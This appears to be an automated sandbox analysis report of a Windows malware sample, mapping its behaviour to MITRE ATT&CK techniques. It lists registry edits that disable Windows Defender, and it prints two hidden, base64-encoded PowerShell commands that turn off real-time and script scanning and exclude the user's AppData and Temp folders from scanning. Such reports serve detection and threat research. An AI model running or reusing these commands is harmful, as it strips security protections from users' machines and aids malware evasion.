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Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4116	powershell.exe
4496	powershell.exe

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4116	powershell.exe
4116	powershell.exe
4496	powershell.exe
4496	powershell.exe
4116	powershell.exe
4496	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeIncreaseQuotaPrivilege	4116	powershell.exe
Token: SeSecurityPrivilege	4116	powershell.exe
Token: SeTakeOwnershipPrivilege	4116	powershell.exe
Token: SeLoadDriverPrivilege	4116	powershell.exe
Token: SeSystemProfilePrivilege	4116	powershell.exe
Token: SeSystemtimePrivilege	4116	powershell.exe
Token: SeProfSingleProcessPrivilege	4116	powershell.exe
Token: SeIncBasePriorityPrivilege	4116	powershell.exe
Token: SeCreatePagefilePrivilege	4116	powershell.exe
Token: SeBackupPrivilege	4116	powershell.exe
Token: SeRestorePrivilege	4116	powershell.exe
Token: SeShutdownPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeSystemEnvironmentPrivilege	4116	powershell.exe
Token: SeRemoteShutdownPrivilege	4116	powershell.exe
Token: SeUndockPrivilege	4116	powershell.exe
Token: SeManageVolumePrivilege	4116	powershell.exe
Token: 33	4116	powershell.exe
Token: 34	4116	powershell.exe
Token: 35	4116	powershell.exe
Token: 36	4116	powershell.exe
Token: SeIncreaseQuotaPrivilege	4496	powershell.exe
Token: SeSecurityPrivilege	4496	powershell.exe
Token: SeTakeOwnershipPrivilege	4496	powershell.exe
Token: SeLoadDriverPrivilege	4496	powershell.exe
Token: SeSystemProfilePrivilege	4496	powershell.exe
Token: SeSystemtimePrivilege	4496	powershell.exe
Token: SeProfSingleProcessPrivilege	4496	powershell.exe
Token: SeIncBasePriorityPrivilege	4496	powershell.exe
Token: SeCreatePagefilePrivilege	4496	powershell.exe
Token: SeBackupPrivilege	4496	powershell.exe
Token: SeRestorePrivilege	4496	powershell.exe
Token: SeShutdownPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeSystemEnvironmentPrivilege	4496	powershell.exe
Token: SeRemoteShutdownPrivilege	4496	powershell.exe
Token: SeUndockPrivilege	4496	powershell.exe
Token: SeManageVolumePrivilege	4496	powershell.exe
Token: 33	4496	powershell.exe
Token: 34	4496	powershell.exe
Token: 35	4496	powershell.exe
Token: 36	4496	powershell.exe
Token: SeIncreaseQuotaPrivilege	4496	powershell.exe
Token: SeSecurityPrivilege	4496	powershell.exe
Token: SeTakeOwnershipPrivilege	4496	powershell.exe
Token: SeLoadDriverPrivilege	4496	powershell.exe
Token: SeSystemProfilePrivilege	4496	powershell.exe
Token: SeSystemtimePrivilege	4496	powershell.exe
Token: SeProfSingleProcessPrivilege	4496	powershell.exe
Token: SeIncBasePriorityPrivilege	4496	powershell.exe
Token: SeCreatePagefilePrivilege	4496	powershell.exe
Token: SeBackupPrivilege	4496	powershell.exe
Token: SeRestorePrivilege	4496	powershell.exe
Token: SeShutdownPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeSystemEnvironmentPrivilege	4496	powershell.exe
Token: SeRemoteShutdownPrivilege	4496	powershell.exe
Token: SeUndockPrivilege	4496	powershell.exe
Token: SeManageVolumePrivilege	4496	powershell.exe
Token: 33	4496	powershell.exe
Token: 34	4496	powershell.exe
Token: 35	4496	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 4496	2384	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe	90
PID 2384 wrote to memory of 4116	2384	2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe	91

C:\Users\Admin\AppData\Local\Temp\2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-06_89695b29965525ba492e0290c8915398_akira_glassworm_rusty-stealer.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Windows security modification
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFMAYwByAGkAcAB0AFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBNAEEAUABTAFIAZQBwAG8AcgB0AGkAbgBnACAAMAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry